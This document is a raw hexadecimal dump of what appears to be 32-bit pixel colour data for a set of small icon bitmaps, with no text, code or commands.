7D00CD9F7A00C7997400CBD1DA00E4ECF500F5E7DE00E8B08D00ED9F6F00E4A0
7600F5E0D200E8EEF7009BB7E200000000000000000000000000858CE9009DAC
FB006481FF00405DFF003F5DFF003F5DFF003654FF00314EFF002441FA004A68
FF008895F600656DE0000000000000000000000000000000000089C98900A5D6
A50082C682006BBC6B006BBC6B0064B8640064B8640064B8640060B760006BBC
6B0094CE940073C07300000000000000000000000000C78E6300D0A17C00D7AE
8F00C9976F00C78E6300BD885C00C78E6300A97E7E006963EB006B69FD006865
FB006260F5000000000000000000000000000000000000000000D0A17C00D7AE
8F00C5916800C5916800D1DAE100FCFAF900F7D6C000DEA4800075523D00D88F
6300F0BD9F00FBF8F700A9BEDF000000000000000000878DE700A1B1FC00728E
FF004E6DFF004E6DFF004A68FF004562FF003F5DFF003F5DFF003654FF002F4E
FF004A68FF008394FF005E65DE00000000000000000089C98900AAD8AA0089C9
890073C0730073C0730073C073006BBC6B006BBC6B0064B8640064B8640060B7
600073C0730094CE94006BBC6B00000000000000000000000000D1A58200DCB5
9800CDA17D00CB997200CDA28000C7997400846A6C006D6BEE00726EFF006B69
FD006260F5000000000000000000000000000000000000000000D0A17C00E0BA
9F00D0A17C00CB997200C5CFD800BFD3ED00ECCFBF00E5B1910057413300E4A0
7600F2C0A200B8D1F20090AAD4000000000000000000878DE700A5BAFF005E7D
FF005E7DFF005E7DFF005472FF004E6DFF004A68FF004562FF003F5DFF003A58
FF00314EFF008394FF005058DC00000000000000000089C98900AAD8AA007EC4
7E007EC47E007EC47E007EC47E0073C0730073C073006BBC6B006BBC6B0064B8
640064B8640097D0970064B86400000000000000000000000000DDAE8C00E5BF
A300DDAE8C00D8B09200CD9F7A009B787C007673F3007F7BFE00706DF2007370
F9007370F9006260F50000000000000000000000000000000000DDAE8C00E2BE
A400DDAE8C00D9B29400D5B69D00BFD1E300ABBED100B4B2B700CCB9B100BAA9
A500A8B7D00094BAEC000000000000000000000000008E93E800AABDFF006D8D
FF006481FF006481FF005E7DFF005973FF005472FF004E6DFF004A68FF004562
FF003F5DFF00899AFF006469DF00000000000000000094CE9400AAD8AA0089C9
890085C8850082C682007EC47E007EC47E0073C0730073C0730073C073006BBC
6B006BBC6B00A1D4A1006BBC6B00000000000000000000000000E3B49300E8C6
AD00E5BFA300D8B09200A68897008E89F7008582FF007A77F400000000000000
00006963EB007775FD006B69F100000000000000000000000000E5B19100E8C6
AD00E2BEA400DBB08F00B69F8C00C5CFD800C5CFD800B4CCE200A8C0DF00ABC5
E600B0B2C300B99890000000000000000000000000009399E800B0C3FF007697
FF007292FF006D8DFF006D8DFF006481FF005E7DFF005E7DFF005472FF004E6D
FF004562FF0095A4FA00656DE000000000000000000094CE9400B1DCB10089C9
890089C9890085C8850085C8850082C6820082C682007EC47E0073C0730073C0
730073C07300A1D4A1006BBC6B00000000000000000000000000E3B49300E8C0
A300E5BFA300B69F8C00ACABB100A3A2C5009492FE000000000000000000A25D
3B009A6D77007165DF00775AAC0000000000000000000000000000000000E8C0
A300E2BEA400B69F8C00AEAEAE00B4B2B7000000000000000000A25D3B00A25D
3B00AD724C00A25D3B009E5D480000000000000000009399E800B9CEFE007C9F
FF007C9FFF007292FF007292FF006D8DFF006481FF006481FF005E7DFF005973
FF004E6DFF0097A9FF006A70E100000000000000000094CE9400B1DCB10094CE
940094CE940089C9890089C9890089C9890085C8850082C6820082C682007EC4
7E006BBC6B00A5D6A50073C0730000000000000000000000000000000000E8C0
A300CFB19D00B7B7B700BDBDBD00B7B7B7000000000000000000B2724A00BE86
5C00C78E6300B3866E0095503E00000000000000000000000000000000000000
0000D5B69D00B4B2B700BDBDBD00B4B2B70000000000B1724700B1724700BE86
5C00C78E6300BB8A6000995033000000000000000000A4A9EC00B9CEFE009BBA
FF0081A5FF0081A5FF007C9FFF007C9FFF007292FF006D8DFF006D8DFF005E7D
FF007292FF009DACFB007D85E7000000000000000000A5D6A500BBE0BB00A5D6
A50094CE940094CE940094CE940089C9890089C9890089C9890085C885007EC4
7E0089C98900A5D6A50085C88500000000000000000000000000000000000000
000000000000C4C4C400BDBDBD000000000000000000C58A5C00CB997200CD9F
7A00BE865C00C5916800A6613D00000000000000000000000000000000000000
000000000000B4B2B700BDBDBD0000000000BE865C00C78E6300C5916800CD9F
7A00BE865C00C5916800A25D3B00000000000000000000000000ADB3F000C0D2
FC009BBAFF0088AAFF0081A5FF0080A1FF007C9FFF007292FF006D8DFF0081A5
FF00AABDFF008E93E80000000000000000000000000000000000AAD8AA00BBE0
BB00A5D6A500A1D4A10094CE940094CE940094CE940089C9890089C98900A1D4
A100AAD8AA0094CE940000000000000000000000000000000000000000000000
000000000000000000000000000000000000DDAE8C00D8B09200D8B09200CB99
7200C78E6300C99D7900B2724A00000000000000000000000000000000000000
0000000000000000000000000000C9976F00DDAE8C00D9B29400D9B29400CB99
7200C5916800CD9F7A00B2724A0000000000000000000000000000000000B0B6
F000C0D2FC00A2C1FF008AAEFF008AAEFF0081A5FF007C9FFF0097A9FF00B3C2
FB009DA2EB00000000000000000000000000000000000000000000000000AAD8
AA00BBE0BB00A5D6A500A1D4A10097D0970097D0970094CE9400A1D4A100AAD8
AA00A1D4A1000000000000000000000000000000000000000000000000000000
0000000000000000000000000000E3B49300E8C0A300E0BA9F00D7AE8F00D1A5
8200CB997200CDA28000BD885C00B2724A000000000000000000000000000000
0000000000000000000000000000C9976F00D5B69D00DFB99D00D7AE8F00D1A5
8200CB997200D1A58200BE865C00000000000000000000000000000000000000
0000B1B8F100C0D2FC00C0D2FC00B9CEFE00B9CEFE00B9CEFE00B6C8FC009399
E800000000000000000000000000000000000000000000000000000000000000
0000AAD8AA00BBE0BB00BBE0BB00BBE0BB00B1DCB100BBE0BB00B1DCB10097D0
9700000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000E3B49300E8C0A300E9C8B000E8C6AD00E5BF
A300DFB99D00D7AE8F00CDA28000B2724A000000000000000000000000000000
000000000000000000000000000000000000C9976F00E9C8B000E6C2A800E2BE
A400DFB99D00D7AE8F00CDA17D00B67948000000000000000000000000000000
000000000000AEB2EE00A4A9EC00A4A9EC00A4A9EC009DA2EB00A4A9EC000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000AAD8AA00A5D6A500A5D6A500A5D6A500A1D4A100A1D4A1000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000E3B49300E0BA9F00E3B49300D8B0
9200D7AE8F00D8B09200D0A17C00D1A582000000000000000000000000000000
00000000000000000000000000000000000000000000DFB99D00E5B19100D9B2
9400DBB08F00D9B29400D0A17C00B67948000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000DAA98300DAA98300D0A17C00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000DAA98300D0A17C00000000006666660066666600666666000000
000066666600000000006666660066666600666666000000000000000000037E
2600000000000000000000000000000000006666660066666600666666000000
000066666600000000006666660066666600666666000000000000000000037E
2600000000000000000000000000000000006666660066666600666666000000
00006666660000000000666666006666660066666600968A21009A9228009E99
3000A29F3600A4A23C0000000000000000006666660066666600666666000000
00006666660000000000666666006666660066666600968A21009A9228009E99
3000A29F3600A4A23C0000000000000000006666660000000000666666000000
000066666600000000006666660000000000666666000000000013853F003B9F
5B00088637000000000000000000000000006666660000000000666666000000
000066666600000000006666660000000000666666000000000013853F003B9F
5B00088637000000000000000000000000006666660000000000666666000000
0000666666000000000066666600000000006666660091831C00CAC48F00CDC9
9300CDC99300A4A23C0000000000000000006666660000000000666666000000
0000666666000000000066666600000000006666660091831C00CAC48F00CDC9
9300CDC99300A4A23C0000000000000000006666660066666600666666000000
00006666660000000000666666006666660066666600288F420046A4660081C1
960046A466001990470000000000000000006666660066666600666666000000
00006666660000000000666666006666660066666600288F420046A4660081C1
960046A466001990470000000000000000006666660066666600666666000000
000066666600000000006666660066666600666666008F7F1600CAC48F00B9B2
6E00CDC99300A29F360000000000000000006666660066666600666666000000
000066666600000000006666660066666600666666008F7F1600CAC48F00B9B2
6E00CDC99300A29F360000000000000000000000000000000000000000000000
000000000000000000000000000000000000288F420046A4660081C1960066B4
810089C6A0004EAA730027975600000000000000000000000000000000000000
000000000000000000000000000000000000288F420046A4660081C1960066B4
810089C6A0004EAA730027975600000000000000000000000000000000000000
000000000000000000000000000000000000000000008B781100C4BB8700B7AE
6A00CAC48F009D982F0000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000008B781100C4BB8700B7AE
6A00CAC48F009D982F0000000000000000006666660000000000666666006666
6600666666000000000066666600037A1D0042A05E007FC0950066B4810066B4
810073BB8F0090CBA90059B28000309E64006666660000000000666666006666
6600666666000000000066666600037A1D0042A05E007FC0950066B4810066B4
810073BB8F0090CBA90059B28000309E64006666660000000000666666006666
6600666666000000000066666600846912008B7811009E8E3A00C4BB8700B5AC
6500CAC48F00AEA85400A1A33300A4A23C006666660000000000666666006666
6600666666000000000066666600846912008B7811009E8E3A00C4BB8700B5AC
6500CAC48F00AEA85400A1A33300A4A23C006666660000000000666666000000
000066666600000000006666660012843000128A3A003B9F5B0087C49D0066B4
81008FCAA80054AE7B0033A36D003BA775006666660000000000666666000000
000066666600000000006666660012843000128A3A003B9F5B0087C49D0066B4
81008FCAA80054AE7B0033A36D003BA775006666660000000000666666000000
00006666660000000000666666007A580300A08D4200C0B57F00B7AE6A00B2A7
6000BBB37300CBC79000B2AC59009D982F006666660000000000666666000000
00006666660000000000666666007A580300A08D4200C0B57F00B7AE6A00B2A7
6000BBB37300CBC79000B2AC59009D982F006666660000000000666666006666
6600666666000000000066666600000000000000000013853F0089C6A00066B4
810090CBA900309E640000000000000000006666660000000000666666006666
6600666666000000000066666600000000000000000013853F0089C6A00066B4
810090CBA900309E640000000000000000006666660000000000666666006666
66006666660000000000666666000000000090772D00A08D4200C1B68100B2A7
6000C8C18C00AAA14E00968A2100000000006666660000000000666666006666
66006666660000000000666666000000000090772D00A08D4200C1B68100B2A7
6000C8C18C00AAA14E00968A2100000000000000000000000000000000000000
00000000000000000000000000000000000000000000168F43008FCAA8006EB9
8D0090CBA90033A36D0000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000168F43008FCAA8006EB9
8D0090CBA90033A36D0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000090772D00A4934700C1B6
8100A493470091831C0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000090772D00A4934700C1B6
8100A493470091831C0000000000000000006666660066666600666666000000
00006666660000000000666666006666660066666600199047008FCAA80090CB
A90090CBA90033A36D00000000000000000000000000000000008E8795004E74
94004E749400929CB000000000000000000000000000199047008FCAA80090CB
A90090CBA90033A36D0000000000000000006666660066666600666666000000
0000666666000000000066666600666666006666660000000000847613009E8E
3A008676080000000000000000000000000000000000000000008E8795004D6E
8D004E749400929CB00000000000000000000000000000000000847613009E8E
3A00867608000000000000000000000000006666660000000000666666000000
0000666666000000000066666600000000006666660027975600289A5A00309E
640036A26A0036A26A0000000000000000000000000048728D00ABABA000D1B9
A500D1B9A500999999004E749400000000000000000027975600289A5A00309E
640036A26A0036A26A0000000000000000006666660000000000666666000000
0000666666000000000066666600000000006666660000000000000000008066
0500000000000000000000000000000000000000000048728D00ABABA000D1B9
A500CEB4A20098A099004D6E8D00000000000000000000000000000000008066
0500000000000000000000000000000000006666660066666600666666000000
0000666666000000000066666600666666006666660000000000000000000000
0000000000000000000000000000000000009AAABA00BFB5A400FBEFE300FCFC
FB00FCFCFB00FBEFE3009FA195008E97AC000000000000000000000000000000
0000000000000000000000000000000000006666660066666600666666000000
0000666666000000000066666600666666006666660000000000000000000000
0000000000000000000000000000000000009AAABA00BFB5A400FBEFE300FFFF
FF00FFFFFF00FBECDF009FA195008E97AC000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000739EB400E6C3A800FCFCFB007B76
85007B768500FCFCFB00D8B49200537C9A000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000739EB400E6C3A800FFFFFF007B76
85007B768500FFFFFF00D8B49200537C9A000000000000000000000000000000
0000000000000000000000000000000000006666660000000000666666006666
6600666666000000000066666600000000006666660066666600666666000000
00006666660000000000000000000000000085ABBD00EACBB500FCFCFB007B76
8500FCFCFB00FCFCFB00E1BFA10055819E000000000000000000000000000000
0000000000000000000000000000000000006666660000000000666666006666
6600666666000000000066666600000000006666660066666600666666000000
00006666660000000000000000000000000085ABBD00EACBB500FFFFFF007B76
8500FFFFFF00FFFFFF00E1BFA10055819E000000000000000000000000000000
0000000000000000000000000000000000006666660000000000666666000000
0000666666000000000066666600000000006666660000000000666666000000
000066666600000000000000000000000000A8C3D100E4D0C100F5F5F5007B76
8500FCFCFB00FBEFE300C3B6A800929CB0000000000000000000000000000000
0000000000000000000000000000000000006666660000000000666666000000
0000666666000000000066666600000000006666660000000000666666000000
000066666600000000000000000000000000A8C3D100E4D0C100FAF3F0007B76
8500FFFFFF00F8EFE600C3B6A8008E9DB0000000000000000000000000000000
0000000000000000000000000000000000006666660000000000666666006666
6600666666000000000066666600000000006666660066666600666666000000
000066666600000000000000000000000000000000009ABECA00E4D0C100EDD0
BF00EBCBB900D9C9B800739EB400000000000000000000000000000000000000
0000000000000000000000000000000000006666660000000000666666006666
6600666666000000000066666600000000006666660066666600666666000000
000066666600000000000000000000000000000000009ABECA00E4D0C100EDD0
BF00EBCBB900D9C9B8006E99B000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000008DA6B40087B0
BF0085ABBD006882930000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000008DA6B40087B0
BF007FA7B8006882930000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000052525200525252005252
5200525252005252520052525200525252005252520052525200525252005252
5200525252005252520000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000999999007E7E
7E007E7E7E00767676007E7E7E0076767600767676007676760076767600037E
26007E7E7E009595950000000000000000000000000000000000999999007E7E
7E007E7E7E0077777700777777007E7E7E0077777700968A21009A9228009E99
3000A29F3600A4A23C000000000000000000A9A9A900A9A9A900A9A9A900A9A9
A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9
A900A9A9A900A9A9A90052525200000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000088888800F1F1F100E8E8
E800E8E8E800E8E8E800E8E8E800E8E8E800F1F1F100E8E8E80013853F003B9F
5B0008863700FCFCFB0088888800000000000000000086868600F1F1F100E8E8
E800E8E8E800E8E8E800E8E8E800E6E6E600F1F1F10091831C00CAC48F00CDC9
9300CDC99300A4A23C008686860000000000A9A9A900FFFFFF00D4D4D40052FF
5200D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400A9A9A900D4D4
D400D4D4D400A9A9A900A9A9A900525252000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000007E7E7E00E8E8E800E8E8
E800E8E8E800E8E8E800E8E8E800E8E8E800E8E8E800288F420046A4660081C1
960046A46600199047007676760000000000000000007E7E7E00E8E8E800E8E8
E800E8E8E800E8E8E800E6E6E600E6E6E600E6E6E6008F7F1600CAC48F00B9B2
6E00CDC99300A29F36007777770000000000A9A9A900FFFFFF00D4D4D400D4D4
D400D4D4D400D4D4D400D4D4D400525252005252520052525200525252005252
5200D4D4D400A9A9A900A9A9A900525252000000000000000000808080008080
8000808080008080800080808000808080008080800080808000808080008080
8000808080008080800000000000000000000000000088888800E8E8E800E8E8
E800E8E8E800E8E8E800E8E8E800E8E8E800288F420046A4660081C1960066B4
810089C6A0004EAA730027975600000000000000000086868600E8E8E800E8E8
E800E8E8E800E8E8E800E6E6E600E6E6E600E6E6E6008B781100C4BB8700B7AE
6A00CAC48F009D982F007E7E7E0000000000A9A9A900FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00A9A9A900A9A9A90052525200000000000000000080808000FFFF
FF0000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C00000FFFF008080800000000000000000000000000088888800E8E8E800E8E8
E800E8E8E800E8E8E800E8E8E800037A1D0042A05E007FC0950066B4810066B4
810073BB8F0090CBA90059B28000309E64000000000086868600F1F1F100E8E8
E800E8E8E800E8E8E800E6E6E600846912008B7811009E8E3A00C4BB8700B5AC
6500CAC48F00AEA85400A1A33300A4A23C000000000052525200525252005252
5200525252005252520052525200525252005252520052525200525252005252
520052525200A9A9A900A9A9A900525252000000000080808000FFFFFF0000FF
FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF
FF00C0C0C0000000000080808000000000000000000088888800F1F1F100E8E8
E800E8E8E800E8E8E800E8E8E80012843000128A3A003B9F5B0087C49D0065B5
84008FCAA80054AE7B0033A36D003BA775000000000086868600E8E8E800E8E8
E800E8E8E800E8E8E800E6E6E6007A580300A08D4200C0B57F00B7AE6A00B2A7
6000BBB37300CBC79000B2AC59009D982F0000000000A9A9A900A9A9A900A9A9
A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9
A900A9A9A90052525200A9A9A900000000000000000080808000FFFFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C000808080000000000080808000000000000000000088888800F1F1F100E8E8
E800E8E8E800E8E8E800E8E8E800E8E8E800E8E8E80013853F0089C6A00066B4
810093CDAC002F9D620088888800000000000000000086868600F1F1F100E8E8
E800E8E8E800E8E8E800E8E8E800E8E8E80090772D00A08D4200C1B68100B2A7
6000C8C18C00AAA14E00968A21000000000000000000A9A9A900FFFFFF00D4D4
D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4
D400A9A9A900A9A9A900525252000000000080808000FFFFFF00C0C0C00000FF
FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF
FF00000000008080800080808000000000000000000088888800F1F1F100E8E8
E800E8E8E800E8E8E800E8E8E800E8E8E800E8E8E800168F43008FCAA8006EB9
8D0093CDAC0033A1680088888800000000000000000088888800F1F1F100E8E8
E800F1F1F100E8E8E800E8E8E800E8E8E800E6E6E60090772D00A4934700C1B6
8100A493470091831C00888888000000000000000000A9A9A900FFFFFF00D4D4
D4002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C00D4D4
D400A9A9A900A9A9A900525252000000000080808000FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF008080
800000000000C0C0C0008080800000000000000000008C7A70008E8795004E74
94004E749400929CB000E8E8E800E8E8E800E8E8E800199047008FCAA80093CD
AC0093CDAC0033A36D008888880000000000000000008C7A70008E8795004D6E
8D004E749400929CB000E6E6E600E6E6E600E6E6E600E0DFDD00847613009E8E
3A0086760800F1F1F100888888000000000000000000A9A9A900FFFFFF00D4D4
D4002C2C2C002C2C2C002C2C2C002C2C2C002CFF2C002C2C2C002C2C2C00D4D4
D400A9A9A900A9A9A90052525200000000008080800080808000808080008080
8000808080008080800080808000808080008080800080808000808080008080
80008080800000FFFF0080808000000000000000000048728D00ABABA000D1B9
A500D1B9A500999999004E749400DDDDDD00E8E8E80021975100289A5A00309E
640036A26A0036A26A0088888800000000000000000048728D00ABABA000D1B9
A500CEB4A20098A099004D6E8D00E1E1E100E6E6E600E0DFDD00D8D8D6008066
0500D8D8D600F1F1F100888888000000000000000000A9A9A900FFFFFF00D4D4
D4002CFF2C002CFF2C002C2C2C002CFF2C002C2C2C002CFF2C002CFF2C00D4D4
D400A9A9A900A9A9A90052525200000000000000000080808000FFFFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C00000FFFF00C0C0C00080808000000000009AAABA00BFB5A400FBEFE300FCFC
FB00FCFCFB00FBEFE3009FA195008E97AC00DDDDDD00DDDDDD00DDDDDD00D2D2
D200D2D2D200F5F5F50088888800000000009AAABA00BFB5A400FBEFE300FFFF
FF00FFFFFF00FBECDF009FA195008E97AC00E1E1E100E0DFDD00D8D8D800D5D5
D500D5D5D500F1F1F100888888000000000000000000A9A9A900FFFFFF00D4D4
D4002C2C2C002C2C2C002CFF2C002C2C2C002C2C2C002C2C2C002C2C2C00D4D4
D400A9A9A900A9A9A90052525200000000000000000080808000FFFFFF0000FF
FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C000FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF008080800000000000739EB400E6C3A800FCFCFB007B76
85007B768500FCFCFB00D8B49200537C9A00DDDDDD00DDDDDD00E8E8E800F1F1
F100F5F5F500F1F1F1008888880000000000739EB400E6C3A800FFFFFF007B76
85007B768500FFFFFF00D8B49200537C9A00E0DFDD00D8D8D800E8E8E800F1F1
F100F1F1F100F1F1F100868686000000000000000000A9A9A900FFFFFF00D4D4
D4002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C00D4D4
D400A9A9A900A9A9A90052525200000000000000000080808000FFFFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C000FFFFFF0080808000808080008080
80008080800080808000808080000000000085ABBD00EACBB500FCFCFB007B76
8500FCFCFB00FCFCFB00E1BFA10055819E00DDDDDD00D2D2D200FCFCFB00E8E8
E800E8E8E800AEAEAE00AEAEAE000000000085ABBD00EACBB500FFFFFF007B76
8500FFFFFF00FFFFFF00E1BFA10055819E00E0DFDD00D5D5D500FFFFFF00E6E6
E600E6E6E600B2B2B200ABABAB000000000000000000A9A9A900FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00A9A9A900A9A9A9005252520000000000000000000000000080808000FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF008080800000000000000000000000
000000000000000000000000000000000000A8C3D100E4D0C100F5F5F5007B76
8500FCFCFB00F8EFE600C3B6A800929CB000DDDDDD00D2D2D200FCFCFB00D2D2
D200AEAEAE00999999000000000000000000A8C3D100E4D0C100FAF3F0007B76
8500FFFFFF00F8EFE600C3B6A8008E9DB000E0DFDD00D5D5D500FAFAFA00D5D5
D500ABABAB00A1A1A10000000000000000000000000000000000A9A9A900D4D4
D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4
D400FFFFFF00A9A9A90052525200000000000000000000000000000000008080
8000808080008080800080808000808080000000000000000000000000000000
000000000000000000000000000000000000000000009ABECA00E6D3C700EDD0
BF00EBCBB900D9C9B800739EB400E6E7E900F1F1F100F1F1F100E8E8E800AEAE
AE00A1A1A100000000000000000000000000000000009ABECA00E4D0C100EDD0
BF00EBCBB900D9C9B8006E99B000E6E7E900F1F1F100F1F1F100E6E6E600ABAB
AB00A1A1A100000000000000000000000000000000000000000000000000A9A9
A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9
A900A9A9A900A9A9A90000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000C7C8C8008DA6B40087B0
BF0085ABBD006882930087898C0088888800959595008888880099999900B5B5
B5000000000000000000000000000000000000000000C7C8C8008DA6B40087B0
BF007FA7B8006882930088888800888888008D8D8D008888880099999900B2B2
B200000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000BED0C800A0BBAF0079A08E00729A
8800729A8800729A8800729A8800729A8800729A8800729A8800729A8800729A
8800729A8800ACC4B900000000000000000000000000000000008D8D8D007474
74006D6D6D006D6D6D006D6D6D006D6D6D006D6D6D006D6D6D006D6D6D006D6D
6D006D6D6D008D8D8D0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000005477
56000000000000000000000000000000000081A59500E9EFEC00C5D5CE00C5D5
CE00BACDC500B6CBC200B0C7BD00ACC4B900A8C1B600A4BEB200A4BEB200A0BB
AF00D8E3DE0079A08E0000000000000000000000000081818100F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9
F900F9F9F900F9F9F90081818100000000000000000000000000000000000000
00000000000094A9C5006B8AB5006484B7006084BA005F81B9007995C00094A9
C500000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000001D4D
2000375F3800000000000000000000000000729A8800F5F8F700C5D5CE00BACD
C500B0C7BD00A8C1B6009DB9AD0094B3A5008CAD9E0081A595007DA29200789F
8D00DEE7E300729A880000000000000000000000000074747400F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9
F900F9F9F900F9F9F900747474000000000000000000000000000000000094A9
C50084A9DD008CB3E9009ABAE900A4BEE600A4BEE600A4BEE6008FB0E3006B99
E3005F85C2007E98BF00000000000000000044954C0044954C00398540003884
3F00347F3A005D9761000000000085A687004475480020572400356C3900629B
6600467C4A0040674200000000000000000079A08E00F5F8F700D0DDD700C5D5
CE00BED0C800B3C9BF00B0C7BD00ACC4B900ACC4B9009DB9AD0094B3A5008CAD
9E00F2F6F400729A880000000000000000000000000081818100F9F9F900F9F9
F900EBEBEB00E5E5E500E5E5E500E5E5E500E5E5E500DDDDDD00E5E5E500DDDD
DD00F9F9F900F9F9F900747474000000000000000000000000009BBBE3009ABA
E900C1D4EC00D7DFEC00E6E9ED00EDEDED00EDEDED00EDEDED00EDEDED00CED9
EB0090B2E7006595E1007E98BF0000000000499A520085C88D0085C88D0082C5
89007FC3860062A96800347F3A005D97610084BD8A0093CE980091CC96008ECA
92008ECA9200467C4A004B704C0000000000729A8800FEFEFE00DEE7E300D4E0
DB00B6CBC200BACDC500A8C1B600A8C1B600B0C7BD00A4BEB2009DB9AD0094B3
A500F2F6F400729A880000000000000000000000000081818100F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9
F900F9F9F900F9F9F900747474000000000000000000ACC8E800BFD3EA00E6E9
ED00F0F0F000E9DAD100E1B8A000DA9B7600D9977000DFAF9400E8D4C900F0F0
F000E6E9ED00B4C9E9006595E1007E98BF004DA256008ECA92008ECA920085C8
8D0085C88D0070B376004D8A52009BD2A10093CE980097CF9C0093CE980093CE
980091CC96004A814E004B704C0000000000789F8D00FEFEFE00FEFEFE00FEFE
FE00F0F4F200F2F6F400BED0C800ACC4B900B0C7BD00B0C7BD00A8C1B600A4BE
B200F2F6F400729A880000000000000000000000000081818100F9F9F900F9F9
F900E5E5E500DDDDDD00DDDDDD00DDDDDD00D5D5D500D5D5D500D5D5D500D5D5
D500F9F9F900F9F9F9008181810000000000C5D6E500D7DFEC00F0F0F000F0F0
F000F2E4DC00E7B69900E2A07A00E19C7200DF976B00DE926300E2A07A00EFDB
CF00F0F0F000F0F0F000CBD5E7007BA2DF0052A85B004DA256004DA25600499A
520062A96800549B5C007CB683009FD3A6007CB683004D8A52002A683000538D
590051895500447548000000000000000000729A8800F2F6F400A4BEB20081A5
95007DA2920081A59500F0F4F200EDF2F000E2EAE600E7EEEB00F5F8F700F2F6
F400FEFEFE00729A880000000000000000000000000081818100F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9
F900F9F9F900F9F9F9008181810000000000DDE0E400EDEDED00F0F0F000FAFA
FA00F0D1BD00EAB08D00E7AA8500E2A07A00E49F7600E39A6F00E1956700EBBA
9D00FAFAFA00F0F0F000F0F0F00093B0DD000000000000000000000000000000
00009FC9A300428D4B009BD2A100A1D4A700377A3E0000000000000000002A68
3000447548000000000000000000000000007DA29200F2F6F400BACDC500BACD
C500ACBFBF00BC9F900088AA9B00729A8800729A8800729A8800729A8800729A
8800729A8800729A880000000000000000000000000081818100F9F9F900F9F9
F900DDDDDD00DDDDDD00D5D5D500D5D5D500CDCDCD00CDCDCD00CDCDCD00CDCD
CD00F9F9F900F9F9F9008181810000000000B0CADF00DCE2E800FAFAFA00FAFA
FA00F0C3AA00EBBA9D00EAB08D001C14100019120E00E2A07A00E19C7200E8A4
7B00FAFAFA00FAFAFA00D2DDEC00678ECC000000000000000000000000000000
00009FC9A30072B27A00A9DAB0007CB683003C86440000000000000000003072
36004A814E000000000000000000000000007DA29200FEFEFE00BACDC500BACD
C500C5D5CE00C5C7C200DFA58300EDC8B300EDCDB800E9BEA300D58E6400F5F8
F700FEFEFE00729A880000000000000000000000000081818100F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F5F5
F500F5F5F500F9F9F9008181810000000000ACCBE500ACCBE500BCCAD600FAFA
FA00F1C9B100EFBEA200EBBA9D0019120E0019120E00E9AA8400E8A47B00E9AA
